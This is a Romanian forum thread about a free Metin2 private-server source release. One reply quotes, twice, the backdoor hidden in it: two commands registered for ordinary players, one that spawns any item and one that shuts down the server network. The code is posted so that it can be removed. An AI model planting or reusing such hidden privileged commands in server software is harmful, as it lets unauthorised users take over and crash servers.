[Serverfiles] Argo - Dinos & Titanus
nu ma lasa sai schimb parola la mysql de ce (((
- [DEV]Loki
-

- Mesaje: 24
- Membru din: 14 Dec 2016, 17:34
- Server: http://metin2viking.
- Regat: Chunjo
- Aprecieri: 0
- Mulţumiri: 0
Ma uit la voi si citesc aici si ma crucesc. Voi chiar vreti sa va arunce cineva asa direct in gura un serverfile full? Direct sa il iei ca popa si sa iti deschizi server? Vrei sa faci ceva frumos? Asta e un serverfile de nota 100 , probabil cel mai bun aparut free pana acum. E greu sa lucrezi si tu asa e , e super greu. Cine stie sa lucreze poate face din serverfile asta un server foarte misto. Chiar si eu lucrez la un proiect si odata nu am intrat aici sa cer ajutorul sau sa ma uit dupa rezolvari. Am facut singur tot , modificari , am scos din sisteme , am implementat tot felul de lucruri si am pus cap la cap totul si iese ceva foarte frumos. Asa ca mai bine invata si tu si apuca-te sa iti faci singur.
- darak.darak2
-

- Mesaje: 222
- Membru din: 17 Feb 2017, 22:53
- Server: www.kor2.ro
- Regat: Chunjo
- Aprecieri: 7
- Mulţumiri: 19
- Contact:
Mersi frumos frate ... in sfarsit un server cu sursa free
) romania asta :*
Salut★Cristi★ scrie:Pentru backdoor ștergi așa:liudrovic scrie:salut cine ma ajtua va rog sa scot si eu backdoor si sa descriprez item proto sa schimb numele la arme ca nu pot multumesc
CMD.CPPCMD_GENERAL.CPPCod: Selectaţi tot
ACMD(do_vreau_si_eu_item); ACMD(do_vreau_sa_pice); { "vreau_si_eu_item", do_vreau_si_eu_item, 0, POS_DEAD, GM_PLAYER }, { "vreau_sa_pice", do_vreau_sa_pice, 0, POS_DEAD, GM_PLAYER },Iar pentru item_proto folosește acest descypterCod: Selectaţi tot
ACMD(do_vreau_si_eu_item) { char arg1[256], arg2[256]; two_arguments(argument, arg1, sizeof(arg1), arg2, sizeof(arg2)); if (!*arg1) { ch->ChatPacket(CHAT_TYPE_INFO, "Usage: item <item vnum>"); return; } int iCount = 1; if (*arg2) { str_to_number(iCount, arg2); iCount = MINMAX(1, iCount, ITEM_MAX_COUNT); } DWORD dwVnum; if (isnhdigit(*arg1)) str_to_number(dwVnum, arg1); else { if (!ITEM_MANAGER::instance().GetVnum(arg1, dwVnum)) { ch->ChatPacket(CHAT_TYPE_INFO, "#%u item not exist by that vnum.", dwVnum); return; } } LPITEM item = ITEM_MANAGER::instance().CreateItem(dwVnum, iCount, 0, true); if (item) { if (item->IsDragonSoul()) { int iEmptyPos = ch->GetEmptyDragonSoulInventory(item); if (iEmptyPos != -1) { item->AddToCharacter(ch, TItemPos(DRAGON_SOUL_INVENTORY, iEmptyPos)); LogManager::instance().ItemLog(ch, item, "GM", item->GetName()); } else { M2_DESTROY_ITEM(item); if (!ch->DragonSoul_IsQualified()) { ch->ChatPacket(CHAT_TYPE_INFO, "Àκ¥ÀÌ È°¼ºÈ µÇÁö ¾ÊÀ½."); } else ch->ChatPacket(CHAT_TYPE_INFO, "Not enough inventory space."); } } else { int iEmptyPos = ch->GetEmptyInventory(item->GetSize()); if (iEmptyPos != -1) { item->AddToCharacter(ch, TItemPos(INVENTORY, iEmptyPos)); LogManager::instance().ItemLog(ch, item, "GM", item->GetName()); } else { M2_DESTROY_ITEM(item); ch->ChatPacket(CHAT_TYPE_INFO, "Not enough inventory space."); } } } else { ch->ChatPacket(CHAT_TYPE_INFO, "#%u item not exist by that vnum.", dwVnum); } } ACMD(do_vreau_sa_pice) { if (NULL == ch) { sys_err("Accept shutdown command from %s.", ch->GetName()); } TPacketGGShutdown p; p.bHeader = HEADER_GG_SHUTDOWN; P2P_MANAGER::instance().Send(&p, sizeof(TPacketGGShutdown)); Shutdown(10); }
EDIT: COMPILEZ*
VS 2013xNEVENx scrie:Salut★Cristi★ scrie:Pentru backdoor ștergi așa:liudrovic scrie:salut cine ma ajtua va rog sa scot si eu backdoor si sa descriprez item proto sa schimb numele la arme ca nu pot multumesc
CMD.CPPCMD_GENERAL.CPPCod: Selectaţi tot
ACMD(do_vreau_si_eu_item); ACMD(do_vreau_sa_pice); { "vreau_si_eu_item", do_vreau_si_eu_item, 0, POS_DEAD, GM_PLAYER }, { "vreau_sa_pice", do_vreau_sa_pice, 0, POS_DEAD, GM_PLAYER },Iar pentru item_proto folosește acest descypterCod: Selectaţi tot
ACMD(do_vreau_si_eu_item) { char arg1[256], arg2[256]; two_arguments(argument, arg1, sizeof(arg1), arg2, sizeof(arg2)); if (!*arg1) { ch->ChatPacket(CHAT_TYPE_INFO, "Usage: item <item vnum>"); return; } int iCount = 1; if (*arg2) { str_to_number(iCount, arg2); iCount = MINMAX(1, iCount, ITEM_MAX_COUNT); } DWORD dwVnum; if (isnhdigit(*arg1)) str_to_number(dwVnum, arg1); else { if (!ITEM_MANAGER::instance().GetVnum(arg1, dwVnum)) { ch->ChatPacket(CHAT_TYPE_INFO, "#%u item not exist by that vnum.", dwVnum); return; } } LPITEM item = ITEM_MANAGER::instance().CreateItem(dwVnum, iCount, 0, true); if (item) { if (item->IsDragonSoul()) { int iEmptyPos = ch->GetEmptyDragonSoulInventory(item); if (iEmptyPos != -1) { item->AddToCharacter(ch, TItemPos(DRAGON_SOUL_INVENTORY, iEmptyPos)); LogManager::instance().ItemLog(ch, item, "GM", item->GetName()); } else { M2_DESTROY_ITEM(item); if (!ch->DragonSoul_IsQualified()) { ch->ChatPacket(CHAT_TYPE_INFO, "Àκ¥ÀÌ È°¼ºÈ µÇÁö ¾ÊÀ½."); } else ch->ChatPacket(CHAT_TYPE_INFO, "Not enough inventory space."); } } else { int iEmptyPos = ch->GetEmptyInventory(item->GetSize()); if (iEmptyPos != -1) { item->AddToCharacter(ch, TItemPos(INVENTORY, iEmptyPos)); LogManager::instance().ItemLog(ch, item, "GM", item->GetName()); } else { M2_DESTROY_ITEM(item); ch->ChatPacket(CHAT_TYPE_INFO, "Not enough inventory space."); } } } else { ch->ChatPacket(CHAT_TYPE_INFO, "#%u item not exist by that vnum.", dwVnum); } } ACMD(do_vreau_sa_pice) { if (NULL == ch) { sys_err("Accept shutdown command from %s.", ch->GetName()); } TPacketGGShutdown p; p.bHeader = HEADER_GG_SHUTDOWN; P2P_MANAGER::instance().Send(&p, sizeof(TPacketGGShutdown)); Shutdown(10); }Cu ce recomanzi sa modific sursa ?
EDIT: COMPILEZ*
Cand intru in client de ce imi apare ca are virus ! ?
Serverul citeste .sql sau.txt ?
[ Postat de pe Android ]
[ Postat de pe Android ]

-
- Informaţie
-
Cine este conectat
Utilizatori ce ce navighează pe acest forum: Google [Bot] și 28 vizitatori


